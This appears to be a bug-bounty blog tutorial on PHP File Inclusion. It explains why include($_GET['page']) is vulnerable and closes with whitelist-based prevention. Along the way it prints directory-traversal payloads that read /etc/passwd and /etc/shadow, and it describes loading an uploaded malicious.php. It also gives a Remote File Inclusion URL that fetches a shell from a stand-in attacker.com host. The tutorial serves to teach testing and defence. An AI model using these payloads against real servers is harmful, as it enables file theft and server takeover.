The URL may look something like this:

http://example.com/index.php?page=home

You click another page and it changes to:

http://example.com/index.php?page=about

To a normal user, this looks harmless.

But to a hacker, this raises an interesting question:

What if I change the value of page myself?

That curiosity is where File Inclusion vulnerabilities begin.

How Websites Load Pages

Many websites load pages dynamically using code like this:

include($_GET['page']);

This means the website takes whatever value is inside the page parameter and includes that file.

For example:

?page=home

The server includes:

home.php

Everything works perfectly as long as users behave normally.

But attackers rarely behave normally.

What Happens When Input Is Not Validated

Now imagine an attacker changes the URL like this:

http://vulnerable-host/preview?page=../../../etc/passwd

Instead of loading a page from the website, the attacker is now trying to access a system file from the server.

Why?

Because Linux servers contain many sensitive files.

One of the most famous ones is:

/etc/passwd

This file contains information about system users.

If the server shows the content of this file in the browser, the application is vulnerable to Local File Inclusion (LFI).

Understanding Directory Traversal

You might notice something strange in the payload:

../../../etc/passwd

What does ../ mean?

In file systems, ../ means go one directory up.

So when an attacker writes:

../../../etc/passwd

They are basically saying:

  1. Go up one director
  2. Go up again
  3. Go up again
  4. Now go into /etc/
  5. Open the file passwd

This technique is called Directory Traversal.

Attackers use it to escape the web application directory and reach sensitive system files.

Why Linux Files Matter

Most web servers run on Linux.

And Linux contains many important files that attackers love to read.

For example:

/etc/passwd
/etc/hosts
/etc/shadow

If the application allows reading these files through the browser, it can reveal valuable information about the system.

A Hacker's Thought Process

When a hacker finds a parameter like:

?page=

Their brain immediately starts thinking:

  • Can I control which file gets loaded?
  • Can I move outside the web directory?
  • Can I access system files?

So they begin testing payloads like:

../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd

This is basically guessing the correct directory depth.

Eventually, one of these payloads reaches the correct path.

How Attackers Find These Parameters

In real bug bounty hunting, attackers rarely guess URLs manually.

They use tools like Burp Suite.

The process usually looks like this.

First, they crawl or spider the target website.

This helps them collect all URLs and parameters used by the application.

Then they start looking for parameters that may include files.

Common ones are:

page
file
path
document
style
template
php_info

These parameters are strong candidates for File Inclusion vulnerabilities.

Testing the Vulnerability

Once a possible parameter is found, the request is sent to Burp Suite Repeater.

Now the attacker starts modifying the value.

Example request:

GET /preview?page=home

Now replace the value with a traversal payload:

GET /preview?page=../../../etc/passwd

If the response suddenly shows system user information, the attacker smiles.

Because they just found LFI.

When LFI Becomes More Dangerous

At first, LFI might only allow reading files.

But sometimes it can lead to something much bigger.

Imagine an attacker uploads a file called:

malicious.php

If they manage to locate that file using LFI, they might load it like this:

?page=uploads/malicious.php

If the server executes the file, the attacker may gain code execution on the server.

This is how a simple file inclusion vulnerability can turn into a serious compromise.

Remote File Inclusion (RFI)

There is another type of file inclusion called Remote File Inclusion.

Instead of loading a local file from the server, the attacker loads a file from their own server.

Example:

http://vulnerable-site.com/index.php?page=http://attacker.com/shell.php

If the server allows this, it will download and execute the attacker's script.

This can lead directly to full server takeover.

Luckily, modern server configurations often disable this feature.

How Developers Prevent File Inclusion

The real problem happens when developers trust user input too much.

Instead of allowing users to control file paths, developers should restrict allowed files.

For example, instead of this:

include($_GET['page']);

They should use a whitelist:

if($page == "home") include("home.php");

This ensures that only specific files can be loaded.

Final Thoughts

File Inclusion vulnerabilities may start with something very small.

Just a simple parameter in a URL.

But that small parameter can sometimes expose:

  • system files
  • server configuration
  • application secrets

And in some cases, even lead to full server compromise.

That's why experienced bug bounty hunters always pay attention to parameters like:

page
file
path

Because sometimes the easiest way to break a system is simply by loading the wrong file.